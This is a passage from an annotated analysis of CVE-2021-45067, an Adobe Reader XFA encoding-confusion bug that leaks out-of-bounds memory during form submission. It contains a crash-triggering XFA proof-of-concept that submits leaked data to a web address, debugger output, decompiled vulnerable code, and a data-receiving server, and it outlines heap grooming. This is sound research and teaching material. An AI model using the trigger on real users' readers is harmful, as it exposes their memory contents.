<float>fields: add more float fields to the XDP packet to improve hole reallocation reliability, as the authors did, and compare leak success rates against a single-field packet. - Reset state precondition: test whether the bug triggers without calling
xfa.host.resetData()first, to confirm how strict the reset-state requirement is. A positive result is the same out-of-bounds data in the submission without the reset call.
What happened, in plain words
Adobe Reader is the free program millions of people use to open PDF files. Besides showing pages, it can display interactive forms: boxes to tick, fields to fill in, buttons to press. Those forms are described by a special language called XFA, which is a set of instructions written in XML (a text format that uses tags like <field> to describe data) and can also run small JavaScript programs.
In this report, Ashfaq Ansari and Krishnakant Patil found a bug in Adobe Reader's handling of those forms. When a form is submitted (sent to a web address), Reader has to turn the values the user typed into text. Two different text encodings are involved: ANSI (one byte per character, the older, simpler scheme) and Unicode, here UTF-16 (two bytes per character). The program prepared the text as ANSI but then measured it as if it were UTF-16. Because UTF-16 characters are twice as wide, the measuring loop kept reading past the end of the prepared text, into whatever happened to sit next to it in the computer's memory. That extra data was then sent over the network to the address written in the form. In security terms this is an out-of-bounds read: reading memory the program was never supposed to look at. The bug is tracked as CVE-2021-45067 (CVE is a public catalogue number for a known vulnerability).
The authors call it "partially exploitable": it leaks information, and the report does not claim it can run an attacker's code by itself.
Background: what XFA is and why it is interesting
Adobe XFA stands for XML Form Architecture. It is Adobe's own XML specification plus a set of JavaScript APIs (an API is a documented set of functions a program offers so other code can ask it to do things, like a restaurant menu you order from) that let a PDF contain dynamic forms: fields that appear, move, calculate values, and submit themselves.
Because XFA combines three things, an XML parser (code that reads the tags), a JavaScript engine (code that runs scripts) and a form submission pipeline (code that sends data out), it has historically been a rich source of memory corruption bugs and logic flaws. Memory corruption means the program writes to or reads from memory it does not own, so its behaviour stops matching what the programmer intended. A logic flaw is simpler: the code does exactly what it was written to do, but the rule it follows is wrong.
The authors found this bug while fuzzing the JavaScript and XML parts of XFA. Fuzzing means feeding a program huge numbers of slightly mutated inputs automatically and watching for crashes; it is like shaking a vending machine with thousands of different coins to find the one that jams it. They found it shortly after they started developing and testing their own internal fuzzer. It is the first part of a series on their PDF reader research, which also covered Foxit PDF Reader and PDFium.
Setup: the machine and the program under test
The testbed used for the analysis:
- Host OS: Windows 10 Pro 20H2 19042.804
- Product: Adobe Reader DC x64 2021.007.20095
- Product URL: https://get.adobe.com/reader/otherversions/
"Host OS" is the operating system of the machine running the test. "x64" means the 64-bit build. The version number matters because bugs get fixed; this analysis applies to that build.
The vulnerable module is AcroForm.api. A module (here a DLL, a library file loaded into the program) is a separate file of code that the main program pulls in. Adobe Reader implements extended functionality in plug-ins: the JavaScript engine lives in EScript.api, while XFA and the other form-related JavaScript handlers live in AcroForm.api. The module information for the vulnerable build:
0:000> lmvm AcroForm Browse full module list start end module name 00000000`613c0000 00000000`62510000 AcroForm (pdb symbols) c:\symbols\Acroform.pdb\[redacted]\Acroform.pdb Loaded symbol image file: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm.api Image path: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm.api Image name: AcroForm.api Browse all global symbols functions data Timestamp: Fri Sep 24 21:14:39 2021 (614EA22F) CheckSum: 01115197 ImageSize: 01150000 File version: 21.7.20095.60881 Product version: 21.7.20095.60881 File flags: 0 (Mask 3F) File OS: 4 Unknown Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 Information from resource tables: CompanyName: Adobe Systems Incorporated ProductName: Adobe Acrobat Forms InternalName: AcroForm OriginalFilename: AcroForm.api ProductVersion: 21.7.20095.454097 FileVersion: 21.7.20095.454097 FileDescription: Adobe Acrobat Forms Plug-In LegalCopyright: Copyright 1984-2021 Adobe Systems Incorporated and its licensors. All rights reserved. LegalTrademarks: Adobe, Acrobat and the Acrobat logo are trademarks of Adobe Systems Incorporated which may be registered in certain jurisdictions. Comments: The Acrobat Forms plug-in allows users to create dynamic electronic forms for fill-in and transmittal.
This block is output from a debugger, a tool that lets a researcher pause a running program and inspect it. lmvm AcroForm asks the debugger to list everything it knows about the module named AcroForm. The lines say where the file sits on disk (C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\AcroForm.api), its version numbers, when it was built, and who published it. Researchers record this so anyone can tell exactly which build they tested.
For the leak, the authors ran a small Python web server on port 80 to receive the submitted form data. A web server is a program that answers requests from browsers or other programs; port 80 is the default port for plain HTTP. Running their own server means the data the victim's Reader sends arrives in a place the authors control and can read.
The exploit repository is hacksysteam/CVE-2021-45067 (Python, GPL-3.0). A repository is a project folder hosted on a code-sharing site; GPL-3.0 is the open-source licence it is published under.
Finding it: a PDF that crashes Reader
The starting point is a specially crafted XML packet inside a PDF document that crashes Adobe Reader:
<template>
<subform name="subform0">
<pageSet>
<pageArea>
<contentArea />
</pageArea>
</pageSet>
<field>
<ui>
<checkButton />
</ui>
<value>
<float> 1872560676325559.1 </float>
</value>
</field>
<field id="clickMe" name="clickMe" w="4" h="4" x="4" y="4">
<ui>
<imageEdit />
</ui>
<event activity="mouseUp">
<submit format="formdata" target="http://example.com/" textEncoding="UTF-16"></submit>
</event>
</field>
</subform>
</template>
Line by line, in plain words:
<template>opens the whole form description and</template>closes it. Everything else sits inside.<subform name="subform0">starts a section of the form calledsubform0. Forms are built from nested sections like folders inside folders.<pageSet>,<pageArea>and<contentArea />describe the page layout. The self-closing<contentArea />is an empty tag, meaning "this element exists but has no content".- The first
<field>is a field whose user interface is a<checkButton />, a tick box. Its<value>is a<float>, a decimal number, here1872560676325559.1. This number is the important part: it is the value that later gets turned into text and mishandled. - The second
<field>is the one the user clicks. It has anidandnameofclickMe, andw,h,x,yattributes giving its width, height and position on the page. Its interface is an<imageEdit />, an image-style control. - Inside that field,
<event activity="mouseUp">says: when the mouse button is released over this field, do the following. <submit format="formdata" target="http://example.com/" textEncoding="UTF-16"></submit>is the action. It submits the form.format="formdata"chooses the data format,targetis the web address the data is sent to, andtextEncoding="UTF-16"tells Reader to encode the submitted text as UTF-16. That last attribute is the trigger for the whole bug.
The crash state:
(1884.2114): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. AcroForm!crash_sub_20A49980+0x137: 00000000`61609ab7 8a01 mov al,byte ptr [rcx] ds:0000016d`c8682000=?? 0:000> r rax=00000000000015d0 rbx=0000016dc8681fe0 rcx=0000016dc8682000 rdx=0000000000000020 rsi=0000003a97bfccb0 rdi=000000000000005f rip=0000000061609ab7 rsp=0000003a97bfc680 rbp=0000000000000000 r8=00000000000000d0 r9=00007ffc68550000 r10=0000003a97bfc336 r11=0000003a97bfc71c r12=000000000000ffff r13=0000003a97bfccb0 r14=0000000000000000 r15=0000000000000001 iopl=0 nv up ei pl nz ac pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 AcroForm!crash_sub_20A49980+0x137: 00000000`61609ab7 8a01 mov al,byte ptr [rcx] ds:0000016d`c8682000=?? 0:000> dc @rcx 0000016d`c8682000 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682010 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682020 ???????? ???????? ???????? ???????? ????????????????
What this shows:
Access violation - code c0000005is Windows saying a program touched memory it is not allowed to touch. "First chance" means the debugger got told before the program's own error handling ran.AcroForm!crash_sub_20A49980+0x137names the function where it happened.crash_sub_20A49980is a name the authors gave the function because the real name is not public;+0x137is the offset inside it.mov al,byte ptr [rcx]is the machine instruction being executed: copy one byte from the memory address held in the registerrcxinto the small registeral. A register is a tiny, very fast storage slot inside the processor;rcxis one of them.ds:0000016dc8682000=??means the memory at that address could not be read, shown as??`.- The
rcommand prints all registers. The key one isrcx=0000016dc8682000, the address that could not be read. - The
dc @rcxcommand dumps memory starting atrcx, and every line is????????, confirming the address is not readable.
The faulting instruction is mov al, byte ptr [rcx], and rcx points to invalid memory. A !heap check shows the address is inside a busy allocation with a user-allocated size of 0x16 bytes, so Reader is reading past the end of a live buffer:
0:000> !heap -p -a @rcx address 0000016dc8682000 found in _DPH_HEAP_ROOT @ 16debbe1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 16dc7283340: 16dc8681fe0 16 - 16dc8681000 2000 unknown!printable 00007ffc6ad2867b ntdll!RtlDebugAllocateHeap+0x000000000000003b 00007ffc6ac5d255 ntdll!RtlpAllocateHeap+0x00000000000000f5 00007ffc6ac5b44d ntdll!RtlpAllocateHeapInternal+0x0000000000000a2d 00007ffc6855fde6 ucrtbase!_malloc_base+0x0000000000000036 000000006141d4c1 AcroForm!ASSureMalloc+0x0000000000000015 0000000061607899 AcroForm![redacted]+0x00000000000000b5 00000000616099cc AcroForm!crash_sub_20A49980+0x000000000000004c 0000000061601a88 AcroForm!sub_20A41150+0x0000000000000938 000000006167f4e4 AcroForm!sub_20ABF354+0x0000000000000190 0000000061602372 AcroForm!ExportAsHtml+0x00000000000002d6 000000006161fff2 AcroForm!AFSubmitIt+0x0000000000001a1a 00000000617c9e5d AcroForm!sub_20C09860+0x00000000000005fd 0000000061afc027 AcroForm!SubmitDispatcher__dispatch+0x00000000000007d7 0000000061bcb1da AcroForm!sub_2100B170+0x000000000000006a 0000000061bcb96e AcroForm!XFAEventManager__eventOccurred+0x00000000000006fe 0000000061ae8948 AcroForm!XFAFormModelImpl__execEvent+0x00000000000001f4 0000000061ae8633 AcroForm!XFAFormModelImpl__eventOccurred+0x0000000000000083 0000000061ae8729 AcroForm![redacted]+0x0000000000000095 000000006179ba56 AcroForm!piDocumentContext__eventOccurred+0x0000000000000162 000000006173bc5e AcroForm!sub_20B7B1F8+0x0000000000000a66 000000006173b1f2 AcroForm!sub_20B7B1C0+0x0000000000000032 00000000638c2b60 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000083d950 00000000638c4df5 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000083fbe5 00000000638c2c5a Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000083da4a 00000000638c4ee3 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000083fcd3 0000000063248250 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x00000000001c3040 00000000633eda0c Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x00000000003687fc 00000000631dfaeb Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000015a8db 00000000631e0068 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000015ae58 00000000631df8b0 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000015a6a0 000000006329ce57 Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x0000000000217c47 00000000635c454a Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x000000000053f33a
What this shows:
!heap -p -a @rcxasks the debugger's heap extension to explain the memory at the address inrcx. The heap is the pool of memory a program borrows from the operating system at run time, and the debugger can track who borrowed what.found in ... busy allocationmeans the address belongs to a block that is currently in use, not freed.UserSize 16means the program asked for 16 bytes, which is0x16in hexadecimal (hexadecimal is base 16, written with a0xprefix;0x16equals 22 in ordinary decimal).- The lines below are the call stack of that allocation: the chain of function calls that led to the memory being borrowed. Reading from the bottom up, the allocation came through
ASSureMalloc(Adobe's own memory allocation wrapper) inside[redacted], which was called fromcrash_sub_20A49980, and further up through functions namedExportAsHtml,AFSubmitIt,SubmitDispatcher__dispatchand the XFA event machinery. In other words, the memory was allocated while the form was being submitted.
The disassembly around the crash:
0:000> ub @eip AcroForm!crash_sub_20A49980+0x119: 00000000`61609a99 66413bc4 cmp ax,r12w 00000000`61609a9d 750c jne AcroForm!crash_sub_20A49980+0x12b (00000000`61609aab) 00000000`61609a9f 488d0d0ae99c00 lea rcx,[AcroForm!utf_16_K (00000000`61fd83b0)] 00000000`61609aa6 e82150e1ff call AcroForm!CLazyAtom::operator unsigned short(void) (00000000`6141eacc) 00000000`61609aab 488bcb mov rcx,rbx 00000000`61609aae 66394644 cmp word ptr [rsi+44h],ax 00000000`61609ab2 7520 jne AcroForm!crash_sub_20A49980+0x154 (00000000`61609ad4) 00000000`61609ab4 418bd6 mov edx,r14d
Disassembly is the processor's own instruction language shown as text. ub @eip means "show the instructions just before the current one" (eip is the instruction pointer, the register that says where execution is). The lines compare a value with r12w, load the address of a constant named utf_16_K (the internal marker for the UTF-16 encoding), compare a word from memory at [rsi+44h] with it, and jump away if they differ. This is the code deciding which encoding the field uses, right before the crash.
Reversing the backtrace shows the crash happens while exporting form data as HTML during processing of the form submit event:
0:000> kc # Call Site 00 AcroForm!crash_sub_20A49980 01 AcroForm!sub_20A41150 02 AcroForm!sub_20ABF354 03 AcroForm!ExportAsHtml 04 AcroForm!AFSubmitIt 05 AcroForm!sub_20C09860 06 AcroForm!SubmitDispatcher__dispatch 07 AcroForm!sub_2100B170 08 AcroForm!XFAEventManager__eventOccurred 09 AcroForm!XFAFormModelImpl__execEvent 0a AcroForm!XFAFormModelImpl__eventOccurred 0b AcroForm![redacted] 0c AcroForm!piDocumentContext__eventOccurred 0d AcroForm!sub_20B7B1F8 0e AcroForm!sub_20B7B1C0 0f Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0x83d950
The kc command prints the call stack, the list of functions currently active, innermost first. Entry 00 is where the crash happened; 03 is ExportAsHtml, the code that turns form data into HTML for submission; 04 is AFSubmitIt, the submit action; 06 is SubmitDispatcher__dispatch, which routes the submit; and 08 to 0c are the XFA event functions that fired because of the mouse event. Reading the list tells the story: a click triggered an event, the event triggered a submit, the submit triggered an export, and the export crashed.
Exploitation
Step 1: Understand the trigger conditions
The crash occurs while dereferencing rcx in mov al, byte ptr [rcx]. Looking at the value of rcx and the memory just before it:
0:000> r @rcx rcx=0000016dc8682000 0:000> dc @rcx-20 0000016d`c8681fe0 37382c31 36352c32 37362c30 32332c36 1,872,560,676,32 0000016d`c8681ff0 35352c35 d0d00039 d0d0d0d0 d0d0d0d0 5,559........... 0000016d`c8682000 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682010 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682020 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682030 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682040 ???????? ???????? ???????? ???????? ???????????????? 0000016d`c8682050 ???????? ???????? ???????? ???????? ????????????????
dc @rcx-20 dumps memory starting 32 bytes (0x20 in hex) before the bad address, so we can see what was stored just before it. The right-hand column shows the bytes as text: 1,872,560,676,32 and 5,559............ That is the string representation of the <float> value 1872560676325559.1, with commas inserted as thousands separators, stored as ANSI (one byte per character). The function crash_sub_20A49980 reads past the end of that allocation while processing the float value.
Two further conditions are needed to reach the vulnerable path:
- The user must click on the form so that the
mouseUpevent fires and submits the form to the target URLtarget="http://example.com/". - The XFA data must already be in the reset state. This can be achieved with the following JavaScript:
xfa.host.resetData();
xfa.host is the XFA object that represents the Reader host, and resetData() asks it to reset the form's data to its initial state. The authors note that the XFA data must already be in the reset state for Reader to take the vulnerable path. The reason to know this is practical: an exploit has to arrange the form's state before the click, not just the click itself.
Step 2: Read the crashing function
The decompiled code of the crashing function:
void __fastcall crash_sub_20A49980(__int64 this, __int64 someStackBuff, char *somExpression, __int64 a4)
{
__int16 v6; // bp
char *newStrBuff; // rbx
__int16 textEncoding; // ax
char *lsomExpression; // rcx
int i; // edx
char currentSOMCharVal; // al
char *nextSOMChar; // rcx
char nextSOMCharVal; // r8
int strLength; // eax
__int16 maxSOMExprLength; // ax
__int16 maxNewStrLength; // di
__int16 textEncoding_1; // ax
char *lnewStrBuff; // rcx
int j; // edx
char currentCharVal; // al
char *nextChar; // rcx
char nextCharVal; // r8
int newStrLength; // eax
__int64 v24; // [rsp+0h] [rbp-498h] BYREF
__int16 v25; // [rsp+30h] [rbp-468h] BYREF
char *v26; // [rsp+38h] [rbp-460h]
char outputBuffer[1040]; // [rsp+40h] [rbp-458h] BYREF
__int64 v28; // [rsp+450h] [rbp-48h]
v6 = 0;
newStrBuff = [redacted](
this,
someStackBuff,
(__int64)somExpression,
a4,
(void (__fastcall *)(__int64, __int64, __int64, __int64, int))crash_sub_20A49980,
&v25); // allocates and copies the float field string representation
// as ANSI and then return the address of newly copied string
//
// 0000016F`142E9FE0 31 2C 38 37 32 2C 35 36 30 2C 36 37 36 2C 33 32 1,872,560,676,32
// 0000016F`142E9FF0 35 2C 35 35 39 00 D0 D0 D0 D0 D0 D0 D0 D0 D0 D0 5,559...........
// 0000016F`142EA000 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................
//
v26 = newStrBuff;
if ( !v25 )
{
if ( (*(unsigned int (__fastcall **)(_QWORD))(gAcroSupportHFT + 248))(*(_QWORD *)(someStackBuff + 40)) )
{
outputBuffer[0] = '&';
v6 = 1;
}
textEncoding = utf_16_K;
if ( utf_16_K == -1 )
textEncoding = CLazyAtom::operator unsigned short((__int64)&utf_16_K);
lsomExpression = somExpression;
if ( *(_WORD *)(someStackBuff + 68) == textEncoding )
{
for ( i = 0; ; i += 2 )
{
currentSOMCharVal = *lsomExpression;
nextSOMChar = lsomExpression + 1;
nextSOMCharVal = *nextSOMChar;
lsomExpression = nextSOMChar + 1;
if ( !currentSOMCharVal && !nextSOMCharVal )
break;
}
strLength = i;
}
else
{
strLength = ASstrnlen_safe(somExpression, 0x7FFFFFFFui64, 0i64);
}
maxSOMExprLength = url_encode(
*(_QWORD *)(someStackBuff + 40),
(__int64)outputBuffer,
v6,
(unsigned __int8 *)somExpression,
strLength);
maxNewStrLength = maxSOMExprLength;
if ( maxSOMExprLength < 1026 )
{
outputBuffer[maxSOMExprLength] = '=';
maxNewStrLength = maxSOMExprLength + 1;
}
if ( newStrBuff )
{
textEncoding_1 = utf_16_K;
if ( utf_16_K == -1 )
textEncoding_1 = CLazyAtom::operator unsigned short((__int64)&utf_16_K);
lnewStrBuff = newStrBuff;
if ( *(_WORD *)(someStackBuff + 68) == textEncoding_1 )
{
for ( j = 0; ; j += 2 )
{ // miUCSStrlen_safe
currentCharVal = *lnewStrBuff; // crashes here. this is trying to find the length of UTF-16 string
// but the actual allocated string is UTF-8
nextChar = lnewStrBuff + 1;
nextCharVal = *nextChar;
lnewStrBuff = nextChar + 1;
if ( !currentCharVal && !nextCharVal )
break;
}
newStrLength = j;
}
else
{
newStrLength = ASstrnlen_safe(newStrBuff, 0x7FFFFFFFui64, 0i64);
}
maxNewStrLength = url_encode(
*(_QWORD *)(someStackBuff + 40),
(__int64)outputBuffer,
maxNewStrLength,
(unsigned __int8 *)newStrBuff,
newStrLength); // this OOB data is leaked to remote server
}
if ( maxNewStrLength > 0 )
(*(void (__fastcall **)(_QWORD, char *, _QWORD))(gAcroSupportHFT + 280))(
*(_QWORD *)(someStackBuff + 40),
outputBuffer,
(unsigned int)maxNewStrLength);
}
if ( newStrBuff )
(*(void (__fastcall **)(char *))(gAcroSupportHFT + 24))(newStrBuff);
some_sec_cookie_sub_21064BF0((unsigned __int64)&v24 ^ v28);
}
This is decompiled code: a tool has turned the machine instructions back into something resembling C, a common programming language. The variable names like v6 and v25 are invented by the tool; the comments in the listing are the authors' annotations. In plain words:
- The function receives a pointer to some form state (
someStackBuff), a string calledsomExpression(SOM is the naming scheme XFA uses to address fields, likesubform0[0].#field[0]), and a fourth argumenta4. - It calls
[redacted], which allocates and copies the float field's string representation as ANSI, and returns the address of the new copy. The comment shows the copied bytes:1,872,560,676,32then5,559then a00byte, then unused fill. - It checks the field's encoding by comparing a word at
someStackBuff + 68withutf_16_K. - It measures the SOM expression, either by walking it two bytes at a time when the encoding is UTF-16, or with
ASstrnlen_safe(a safe string-length function) otherwise. - It calls
url_encodeto percent-encode the SOM expression intooutputBuffer, appends=, and then does the same for the copied float string. - The second measurement is the buggy one: when the encoding is UTF-16 it walks the copied buffer two bytes at a time looking for two zero bytes in a row. The comment marks the crash line and notes that the allocated string is actually UTF-8 (the authors use UTF-8 and ANSI loosely here; the point is that it is a single-byte string, not UTF-16).
- The result of that walk is passed to
url_encode, and the comment says the out-of-bounds data is leaked to the remote server. - Finally the output buffer is handed to a function pointer from
gAcroSupportHFT + 280, which sends it, and the copied buffer is freed.
[redacted] makes a copy of the already allocated string representation of the <float> value. The new buffer is allocated and the string is copied treating it as ANSI, as the rcx dump shows.
Step 3: Trace the allocation helper
The code of [redacted]:
char *__fastcall [redacted](
__int64 this,
__int64 a2,
__int64 somExpression,
__int64 a4,
void (__fastcall *callback)(__int64, __int64, __int64, __int64, int),
_WORD *a6)
{
char *v10; // rdi
_WORD *v11; // r13
int ret; // eax
__int64 v13; // rdi
unsigned __int16 v14; // ax
_BYTE *srcBuff; // rbx
int v16; // eax
char *dst; // rax
int v18; // er14
__int64 v19; // rax
__int64 v21; // rax
int *v22; // rbx
__int64 v23; // rax
__int64 v24; // r14
int Len; // eax
_BYTE *Bytes; // rax
int v27; // edx
unsigned int v28; // eax
__int64 v29; // rdx
__int16 v30; // cx
__int16 v31; // ax
__int64 v32; // rdx
__int64 v33; // rax
__int64 v34; // rdx
__int16 v35; // cx
int v36; // edx
int v37; // [rsp+20h] [rbp-40h]
__int128 v38; // [rsp+38h] [rbp-28h] BYREF
__int128 v39; // [rsp+48h] [rbp-18h] BYREF
v10 = 0i64;
v11 = a6;
*a6 = 1;
ret = (*(__int64 (__fastcall **)(__int64))(gCosHFT + 16))(a4); // a4 - seems like some encoding type
// returns 4
switch ( ret )
{
case 5:
case 8:
v21 = EStrNewFromCosObjImpl(a4);
v22 = (int *)v21;
if ( *(_WORD *)(a2 + 34) )
{
v23 = ConvertDateValueToCanonical(this, v21);
v24 = v23;
if ( v23 )
{
Len = EStrGetLen(v23);
v10 = (char *)ASSureMalloc(Len + 1);
Bytes = (_BYTE *)EStrGetBytes(v24);
if ( Bytes && *Bytes == 0xFE && Bytes[1] == 0xFF )
miUCSStrcpy_safe(v10, 0x7FFFFFFFui64, (__int64)Bytes, 0i64);
else
ASstrcpy_safe(v10, 0x7FFFFFFFi64, (__int64)Bytes, 0i64);
EStrDelete(v24);
LABEL_37:
if ( v22 )
EStrDelete((__int64)v22);
goto LABEL_39;
}
}
v38 = 0i64;
*(_QWORD *)&v38 = sub_209E23D8(v22);
v39 = 0i64;
v28 = CASText::len(0i64, v27);
CASText::CASText((__int64 *)&v39, (char (*)[8])"\r\n", 0, v28);
(*(void (__fastcall **)(_QWORD, const char *, _QWORD))(gASExtraHFT + 320))(v38, "\r", v39);
CASText::~CASText((__int64 *)&v39, v29);
v30 = utf_8_K;
if ( utf_8_K == -1 )
v30 = CLazyAtom::operator unsigned short((__int64)&utf_8_K);
v31 = *(_WORD *)(a2 + 68);
if ( v31 == v30 )
{
v32 = 2i64;
}
else
{
v35 = utf_16_K;
if ( utf_16_K == -1 )
{
v35 = CLazyAtom::operator unsigned short((__int64)&utf_16_K);
v31 = *(_WORD *)(a2 + 68);
}
if ( v31 != v35 )
{
v36 = *(_DWORD *)(a2 + 64);
if ( v36 == -1 || v36 == 32 )
v33 = (*(__int64 (__fastcall **)(_QWORD, _WORD **))(gASExtraHFT + 216))(v38, &a6);
else
v33 = (*(__int64 (__fastcall **)(_QWORD))(gASExtraHFT + 208))(v38);
goto LABEL_36;
}
v32 = 0i64;
}
v33 = (*(__int64 (__fastcall **)(_QWORD, __int64))(gASExtraHFT + 176))(v38, v32);
LABEL_36:
v10 = (char *)v33;
CASText::~CASText((__int64 *)&v38, v34);
goto LABEL_37;
case 4:
v13 = gCoreHFT;
v14 = (*(__int64 (__fastcall **)(__int64))(gCosHFT + 152))(a4); // calls a function in Acrobat returns 1593
srcBuff = (_BYTE *)(*(__int64 (__fastcall **)(_QWORD))(v13 + 56))(v14); // returns source buffer
v16 = ASstrnlen_safe(srcBuff, 0x7FFFFFFFui64, 0i64);
dst = (char *)ASSureMalloc(v16 + 1); // memory is allocated here
v10 = dst;
if ( srcBuff && *srcBuff == 0xFE && srcBuff[1] == 0xFF )
miUCSStrcpy_safe(dst, 0x7FFFFFFFui64, (__int64)srcBuff, 0i64);
else
ASstrcpy_safe(dst, 0x7FFFFFFFi64, (__int64)srcBuff, 0i64); // string is written here
goto LABEL_39;
case 7:
v18 = (*(__int64 (__fastcall **)(__int64))(gCosHFT + 232))(a4);
if ( v18 > 0 )
{
do
{
v19 = (*(__int64 (__fastcall **)(__int64, _QWORD))(gCosHFT + 200))(a4, (unsigned int)v10);
LOWORD(v37) = 0;
callback(this, a2, somExpression, v19, v37);
LODWORD(v10) = (_DWORD)v10 + 1;
}
while ( (int)v10 < v18 );
}
return 0i64;
}
if ( ret )
return 0i64;
LABEL_39:
*v11 = 0;
return v10;
}
In plain words:
- The function asks a function in the
gCosHFTtable (a table of function pointers, a common way for a program to call into another component) what kind of value it is dealing with. The comment says the call returns4for our float field. - A
switchstatement then picks a branch based on that number.case 5andcase 8handle other kinds of values, with date conversion and several encoding checks.case 7loops over several values and calls a callback for each.case 4is the one that runs here. - In
case 4:ASstrnlen_safecomputes the length of the source string,ASSureMallocallocates a buffer of that length plus one byte for the terminator, andASstrcpy_safecopies the string into it. If the source starts with the two bytes0xFE 0xFF(a marker for big-endian UTF-16), it copies withmiUCSStrcpy_safeinstead. Our string does not start with those bytes, so the plain ANSI copy is used. - The function returns the address of the new buffer.
Execution takes the case 4 block: ASstrnlen_safe computes the length of the ANSI string, ASSureMalloc allocates a new buffer, and ASstrcpy_safe copies the string into it. Everything up to this point is ANSI.
Step 4: Spot the encoding confusion
The relevant part of the crashing function again:
if (newStrBuff) {
textEncoding_1 = utf_16_K;
if (utf_16_K == -1)
textEncoding_1 = CLazyAtom::operator unsigned short((__int64) & utf_16_K);
lnewStrBuff = newStrBuff;
if (*(_WORD*)(someStackBuff + 68) == textEncoding_1) {
for (j = 0;; j += 2) { // miUCSStrlen_safe
currentCharVal = *lnewStrBuff; // crashes here. this is trying to find the length of UTF-16 string
// but the actual allocated string is UTF-8
nextChar = lnewStrBuff + 1;
nextCharVal = *nextChar;
lnewStrBuff = nextChar + 1;
if (!currentCharVal && !nextCharVal)
break;
}
newStrLength = j;
} else {
newStrLength = ASstrnlen_safe(newStrBuff, 0x7FFFFFFF ui64, 0 i64);
}
maxNewStrLength = url_encode( *
(_QWORD * )(someStackBuff + 40),
(__int64) outputBuffer,
maxNewStrLength,
(unsigned __int8 * ) newStrBuff,
newStrLength); // this OOB data is leaked to remote server
}
Line by line:
if (newStrBuff)means: only continue if the copy was allocated successfully.- The next lines fetch the internal marker for UTF-16,
utf_16_K, resolving it lazily if it has not been looked up yet (CLazyAtom::operator unsigned short). if (*(_WORD*)(someStackBuff + 68) == textEncoding_1)compares the field's stored encoding with UTF-16. If they match, the UTF-16 branch runs.- The
forloop is the inlinedmiUCSStrlen_safe, a function that measures the length of a UTF-16 string. It reads two bytes at a time (currentCharValandnextCharVal), advances the pointer by two, and stops only when both bytes are zero, which is how a UTF-16 string ends. currentCharVal = *lnewStrBuff;is the line that crashes, because the buffer is not actually UTF-16 and the loop runs past its end.- If the encoding is not UTF-16, the
elsebranch usesASstrnlen_safe, which stops at the first single zero byte, the correct behaviour for an ANSI string. url_encodethen percent-encodes the buffer using the measured length. Because the length is too large, bytes beyond the buffer are copied into the output. The comment marks this as the leak.
The crash happens while computing the length of the newly allocated buffer, at currentCharVal = *lnewStrBuff;. If the new string buffer was allocated successfully, the code checks the textEncoding of the field being converted. If it is utf_16_K, it walks the buffer as UTF-16 (the inlined miUCSStrlen_safe); otherwise it uses ASstrnlen_safe.
The answer to why an ANSI buffer is treated as Unicode is in the XFA XDP packet:
<submit format="formdata" target="http://example.com/" textEncoding="UTF-16"></submit>
An XDP packet is the XML data that describes the form inside the PDF. This single line is the submit action: when it fires, send the form data to http://example.com/ in formdata format, encoded as UTF-16. The field's stored encoding therefore says UTF-16, while the copied string was built as ANSI. That mismatch is the whole bug.
textEncoding is set to UTF-16, so when the form is submitted, a POST request is sent to the target URL with data in this format:
$ sudo python3 web-server-post.py -i [redacted] -p 80
Web server listening on [redacted]:80
subform0[0].#field[0]=1,872,560,676,325,559
What this shows:
sudo python3 web-server-post.py -i [redacted] -p 80starts the authors' Python script as a web server.sudoruns it with administrator rights (needed to bind port 80 on many systems),-i [redacted]means listen on every network interface, and-p 80sets the port.Web server listening on [redacted]:80is the script saying it is ready.subform0[0].#field[0]=1,872,560,676,325,559is the body of the request that arrived. The left side is the field's SOM name, the right side is its value. APOSTrequest is the standard way a browser or program sends data to a server; the data travels in the request body, not in the address bar.
The partially symbolized stack trace now makes more sense:
0:000> kc # Call Site 00 AcroForm!crash_sub_20A49980 01 AcroForm!sub_20A41150 02 AcroForm!sub_20ABF354 03 AcroForm!ExportAsHtml 04 AcroForm!AFSubmitIt 05 AcroForm!sub_20C09860 06 AcroForm!SubmitDispatcher__dispatch 07 AcroForm!sub_2100B170 08 AcroForm!XFAEventManager__eventOccurred 09 AcroForm!XFAFormModelImpl__execEvent 0a AcroForm!XFAFormModelImpl__eventOccurred 0b AcroForm![redacted] 0c AcroForm!piDocumentContext__eventOccurred 0d AcroForm!sub_20B7B1F8 0e AcroForm!sub_20B7B1C0 0f Acrobat!AIDE::PixelPartInfo::PixelPartInfo
This is the same call stack as before, with the same chain: the click event reaches the XFA event manager, the submit dispatcher runs AFSubmitIt, ExportAsHtml prepares the data, and the crash happens in crash_sub_20A49980. Seeing the submit functions in the stack confirms that the leak happens during submission, which is exactly where the data leaves the program.
In short, the vulnerable code is missing proper validation of the input string type before trusting textEncoding.
Step 5: Control the string length
The exploitation has three steps:
- Figure out if we can control the float string size.
- Groom the LFH bucket of the target size.
- Trigger the vulnerability and leak data to the remote server.
